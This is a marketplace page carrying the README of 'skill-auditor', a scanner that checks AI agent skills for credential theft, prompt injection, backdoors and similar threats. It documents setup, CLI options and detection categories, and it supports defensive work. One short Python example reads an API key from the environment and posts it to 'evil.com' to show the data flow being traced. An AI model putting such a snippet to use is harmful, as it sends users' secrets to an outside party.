Skip to main content 首页 创作者 bighardperson computer-science-skills-collection skill-auditor
skill-auditor Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code.
跳到安装 Skills Marketplace 发现并探索由社区构建的 Agent Skills
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/bighardperson/computer-science-skills-collection --skill skill-auditor命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
下载 Zip 下载中... COMPARISON-AND-IMPROVEMENT-PLAN.md 6.8 KB name skill-auditor version 2.1.3 description Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code.
Skill Auditor v2.1
Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.
After Installing
Run the setup wizard to configure optional features:
cd skills/skill-auditor
node scripts/setup.js
The wizard explains each feature, shows real test data, and lets you choose what to enable.
Quick Start
Scan a skill:
node skills/skill-auditor/scripts/scan-skill.js <skill-directory>
Audit all your installed skills:
node skills/skill-auditor/scripts/audit-installed.js
Setup Wizard (Recommended)
Run the interactive setup to configure optional features:
cd skills/skill-auditor
node scripts/setup.js
The wizard will:
Detect your OS (Windows, macOS, Linux)
Check Python availability (required for AST analysis)
Offer to install tree-sitter for dataflow analysis
Configure auto-scan on skill installation
Save preferences to ~/.openclaw/skill-auditor.json
Setup Commands node scripts/setup.js
node scripts/setup.js --status
node scripts/setup.js --enable-ast
Audit All Installed Skills Scan every skill in your OpenClaw installation at once:
node scripts/audit-installed.js
node scripts/audit-installed.js --severity critical
node scripts/audit-installed.js --json
node scripts/audit-installed.js --verbose
Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN)
Summary stats (total scanned, by risk level)
Detailed list of high-risk skills with capabilities
Cross-Platform Installation
Core Scanner (No Dependencies) Works on all platforms with just Node.js (which OpenClaw already provides).
AST Analysis (Optional) Requires Python 3.8+ and tree-sitter packages.
Platform Python Install Tree-sitter Install Windows Pre-installed or winget install Python.Python.3 pip install tree-sitter tree-sitter-pythonmacOS Pre-installed or brew install python3 pip3 install tree-sitter tree-sitter-pythonLinux apt install python3-pippip3 install tree-sitter tree-sitter-python
Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!
Core Features (Always Available)
Static Pattern Analysis — Regex-based detection of 40+ threat patterns
Intent Matching — Contextual analysis against skill's stated purpose
Accuracy Scoring — Rates how well behavior matches description (1-10)
Risk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels
OpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation
Remote Scanning — Works with GitHub URLs (via scan-url.js)
Visual Reports — Human-readable threat summaries
Advanced Features (Optional)
1. Python AST Dataflow Analysis Traces data from sources to sinks through code execution paths
npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <skill> --mode strict
Environment variables → Network requests
File reads → HTTP posts
Memory file access → External APIs
Cross-function data flows
def get_secrets (): return os.environ.get('API_KEY' )
key = get_secrets()
requests.post('evil.com' , data=key)
2. VirusTotal Binary Scanning Scans executable files against 70+ antivirus engines
export VIRUSTOTAL_API_KEY="your-key-here"
node scripts/scan-skill.js <skill> --use-virustotal
Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.
Malware detection status
Engine consensus (e.g., "3/70 engines flagged")
Direct VirusTotal report links
SHA256 hashes for verification
3. LLM Semantic Analysis Uses AI to understand if detected behaviors match stated intent
node scripts/scan-skill.js <skill> --use-llm
Groups findings by category
Asks LLM: "Does this behavior match the skill's description?"
Adjusts severity based on semantic understanding
Provides confidence ratings
Finding: "Accesses MEMORY.md"
Skill says: "Optimizes agent memory usage"
LLM verdict: "LEGITIMATE — directly supports stated purpose"
Result: Severity downgraded, marked as expected
4. SARIF Output for CI/CD GitHub Code Scanning compatible format
node scripts/scan-skill.js <skill> --format sarif --fail-on-findings
- name: Scan Skills
run: |
node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
--format sarif --fail-on-findings > results.sarif
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: results.sarif
5. Detection Modes Adjustable sensitivity levels
--mode strict
--mode balanced
--mode permissive
Usage Examples
Basic Scanning
node scripts/scan-skill.js ../my-skill
node scripts/scan-skill.js ../my-skill --json report.json
node scripts/format-report.js report.json
Advanced Scanning
node scripts/scan-skill.js ../my-skill \
--mode strict \
--use-virustotal \
--use-llm \
--format sarif \
--json full-report.sarif
node scripts/scan-skill.js ../my-skill \
--format sarif \
--fail-on-findings \
--mode balanced
Remote Scanning
node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json
node scripts/format-report.js remote-report.json
Installation Options
Zero Dependencies (Recommended for CI)
node skill-auditor/scripts/scan-skill.js <skill>
Optional Advanced Features cd skills/skill-auditor
npm install
npm install tree-sitter tree-sitter-python
npm install yara
export VIRUSTOTAL_API_KEY="your-key"
openclaw gateway start
What Gets Detected
Core Threat Categories
Prompt Injection — AI instruction manipulation attempts
Data Exfiltration — Unauthorized data transmission
Sensitive File Access — MEMORY.md, credentials, SSH keys
Shell Execution — Command injection, arbitrary code execution
Path Traversal — Directory escape attacks
Obfuscation — Hidden/encoded content
Persistence — System modification for permanent access
Privilege Escalation — Browser automation, device access
OpenClaw-Specific Patterns
Memory File Writes — Persistence via MEMORY.md, AGENTS.md
Session Tool Abuse — Data exfiltration via sessions_send
Gateway Control — config.patch, restart commands
Node Device Access — camera_snap, screen_record, location_get
Advanced Detection (with optional features)
Python Dataflow — Variable tracking across functions/files
Binary Malware — Known malicious executables via VirusTotal
Semantic Intent — LLM-based behavior vs. description analysis
Output Formats
1. JSON (Default) {
"skill" : { "name" : "example" , "description" : "..." } ,
"riskLevel" : "HIGH" ,
"accuracyScore" : { "score" : 7 , "reason" : "..." } ,
"findings" : [ ...] ,
"summary" : { "analyzersUsed" : [ "static" , "ast-python" , "llm-semantic" ] }
}
2. SARIF (GitHub Code Scanning) Uploads to GitHub Security tab, integrates with pull request checks.
3. Visual Report node scripts/format-report.js report.json
Human-readable summary with threat gauge and actionable findings.
Configuration
Environment Variables VIRUSTOTAL_API_KEY="vt-key"
DEBUG="1"
Command Line Options --json <file>
--format sarif
--mode <mode>
--use-virustotal
--use-llm
--custom-rules <dir >
--fail-on-findings
--help
Architecture Overview skill-auditor/
├── scripts/
│ ├── scan-skill.js # Main scanner (v2.0)
│ ├── scan-url.js # Remote GitHub scanning
│ ├── format-report.js # Visual report formatter
│ ├── analyzers/ # Pluggable analysis engines
│ │ ├── static.js # Core regex patterns (zero-dep)
│ │ ├── ast-python.js # Python dataflow analysis
│ │ ├── virustotal.js # Binary malware scanning
│ │ └── llm-semantic.js # AI-powered intent analysis
│ └── utils/
│ └── sarif.js # GitHub Code Scanning output
├── rules/
│ └── default.yar # YARA format patterns
├── package.json # Optional dependencies
└── references/ # Documentation (unchanged)
Backward Compatibility v1.x commands work unchanged:
node scan-skill.js <skill-dir>
node scan-skill.js <skill-dir> --json out.json
node format-report.js out.json
New v2.0 features are opt-in:
node scan-skill.js <skill-dir> --use-llm
node scan-skill.js <skill-dir> --use-virustotal
Limitations
Core Scanner
Novel obfuscation — New encoding techniques not yet in patterns
Binary analysis — Skips binary files unless VirusTotal enabled
Sophisticated prompt injection — Advanced manipulation techniques may evade regex
Optional Features
Python AST — Limited to Python files, basic dataflow only
VirusTotal — Rate limited (500 queries/day free tier)
LLM Analysis — Requires internet connection and OpenClaw gateway
YARA Rules — Framework ready but custom rules not fully implemented
Troubleshooting
Common Issues "tree-sitter dependencies not available"
npm install tree-sitter tree-sitter-python
"VirusTotal API error: 403"
export VIRUSTOTAL_API_KEY="your-actual-key"
"LLM semantic analysis failed"
openclaw gateway status
curl http://localhost:18789/api/v1/health
"SARIF output not generated"
cd skills/skill-auditor && npm install
Debug Mode DEBUG=1 node scripts/scan-skill.js <skill>
Contributing
Adding New Patterns
Static patterns → Edit scripts/analyzers/static.js
YARA rules → Add to rules/ directory
Python dataflow → Extend scripts/analyzers/ast-python.js
Testing New Features
node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict
node scripts/scan-skill.js ../summarize --use-virustotal
node scripts/scan-skill.js ../secure-browser-agent --format sarif
Security Note This scanner is one layer of defense , not a guarantee. Always:
Review code manually for novel attacks
Re-scan after skill updates
Use multiple security tools
Trust but verify — especially for high-privilege skills
For sensitive environments , enable all advanced features:
node scripts/scan-skill.js <skill> \
--mode strict \
--use-virustotal \
--use-llm \
--fail-on-findings
bighardperson
bighardperson/computer-science-skills-collection
打开 GitHub 仓库